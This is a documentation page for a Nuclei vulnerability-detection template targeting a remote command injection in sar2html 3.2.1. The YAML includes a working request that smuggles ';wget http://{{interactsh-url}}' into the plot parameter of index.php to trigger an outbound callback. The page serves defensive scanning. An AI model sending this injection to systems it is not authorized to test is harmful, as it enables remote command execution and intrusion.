sar2html 3.2.1 - Remote Command Injection
ID: sar2html-rce
Severity: critical
Author: gy741
Tags: sar2html,rce,oast,edb
Description
Section titled “Description”SAR2HTML could allow a remote attacker to execute arbitrary commands on the system via a command injection flaw in the index.php script. By sending specially-crafted commands, an attacker could exploit this vulnerability to execute arbitrary commands on the system.
YAML Source
Section titled “YAML Source”id: sar2html-rce
info: name: sar2html 3.2.1 - Remote Command Injection author: gy741 severity: critical description: | SAR2HTML could allow a remote attacker to execute arbitrary commands on the system via a command injection flaw in the index.php script. By sending specially-crafted commands, an attacker could exploit this vulnerability to execute arbitrary commands on the system. reference: - https://www.exploit-db.com/exploits/49344 classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10 cwe-id: CWE-77 metadata: max-request: 1 tags: sar2html,rce,oast,edb
http: - raw: - | GET /index.php?plot=;wget%20http://{{interactsh-url}} HTTP/1.1 Host: {{Hostname}} Accept: */*
matchers: - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - "http"# digest: 4a0a004730450220142db62fb45dfbf7c92d38bda943d63e780ac5f036d6a91b6eabea0d4bc02a22022100ade33a1dd2a5759a209757a1adc3c1ffa911162b38118b8996c3097fc9709d32:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/other/sar2html-rce.yaml"